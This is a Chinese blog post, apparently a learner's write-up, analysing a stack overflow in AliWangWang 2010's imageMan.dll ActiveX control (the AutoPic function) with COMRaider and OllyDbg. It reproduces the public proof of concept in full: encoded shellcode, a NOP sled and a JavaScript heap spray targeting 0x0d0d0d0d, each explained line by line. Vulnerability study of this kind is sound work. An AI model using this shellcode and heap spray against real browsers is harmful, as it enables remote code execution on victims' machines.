标签:进程 返回 substring 通用 数据 cmd auto += root
操作系统:windows 7 home premium x64
漏洞软件:阿里旺旺2010
工具:COMRaider、ollydbg
简介:栈溢出漏洞,阿里旺旺ActiveX控件imageMan.dll中的AutoPic函数未对参数长度进行有效检测,它会先获取反斜杠“\”的位置,然后字符串开始至反斜杠之间的字符数将作为后续复制的size,如果字符串中没有反斜杠,就会导致全字符串复制
1.先了解下ActiveX以及COMRaider模糊测试的用法:
ActiveX是浏览器插件,它是一些软件组件或对象,可以将其插入到WEB网页或其他应用程序中。一般软件需要用户单独下载然后执行安装,而ActiveX插件是当用户浏览到特定的网页时,IE浏览器即可自动下载并提示用户安装。
每个ActiveX组件中可能包含多个class类,每个class类可能包含了多个接口,每个接口可能包含了多个函数。每个class类有一个自己的classid。在调用ActiveX中的某个函数的时候,会事先通过classid来引入class。
注册表 HKEY_CLASSES_ROOT\CLSID中记录的就是classid。每个 classid下面有个typelib,typelib记录的是所属com组件的id。组件id记录在注册表的HKEY_CLASSES_ROOT\TypeLib目录下。
用COMRaider打开ImageMan.dll,可以看到控件的注册ID,和所具有的接口函数和函数的参数(由于路径中有中文产生编码问题,修改路径解决+dll注册 regsvr32 ImageMan.dll)
注册要用管理员权限运行cmd,否则会注册失败
使用报错,类型错误
2.不管了,看下poc
Target classid是注册的imageMan.dll模块,AutoPic是栈溢出的函数,第一个参数buffer参数是1111个“A”,猜想是通过栈溢出将返回地址覆盖为0x41414141
前面是通用的js堆喷,将shellcode写到0x0d0d0d0d位置,然后覆盖地址为0x0d0d0d0d,劫持eip跳往0x0d0d0d0d
详细分析下堆喷代码
//shellcode,大小是80*2 Byte
shellcode = unescape(
‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395‘+
‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1‘+
‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e‘+
‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5‘+
‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f‘+
‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5‘+
‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525‘+
‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e‘);
//滑板指令,大小4byte
nops=unescape(‘%u9090%u9090‘);
headersize =20;
slackspace= headersize + shellcode.length; //20+80=100
while(nops.length < slackspace) nops+= nops;//指数增长2+2+4+8+16+32+64=128==>256个nop
fillblock= nops.substring(0, slackspace);//fillblock:200个nop,大小:100个宽字符
block= nops.substring(0, nops.length- slackspace);//block:56个nop,大小:28个宽字符
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
//大量nop,size:524188个宽字符,1042976(0xFFF38)个nop
memory=new Array();//申请空间
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
//每个元素的真实数据大小是0xFFFD8(block + shellcode),加上额外数据,每个元素在内存中占用的大小是0x100000,一共是200个元素,假设从内存0x0的位置存放数组,200个元素,会一直存放到0xC800000,实际上数组并不是从0x0位置开始存放的,进程本身,堆栈以及其他变量所需的内存空间,会导致数组很容易覆盖0x0D0D0D0D的地址空间。
3.接下来用调试器看下执行过程
用ida看下漏洞地址
Od附加到ie上,断点位置有问题,ida得到的漏洞地址还差个模块加载基地址,查阅资料,断点于OLEAUT32!DispCallFunc函数
在网页中调用ActiveX组件,在浏览器背后都会先后调用GetIDsOfNames函数和Invoke函数。因为Invoke函数内部最终要调用OLEAUT32!DispCallFunc函数,因此可以在该函数上下断点。
运行报错,应该是dep的问题,0x0d0d0d0d不可执行
断点也没断好,没有中断
标签:进程 返回 substring 通用 数据 cmd auto += root
原文地址:https://www.cnblogs.com/windsleeve/p/12866007.html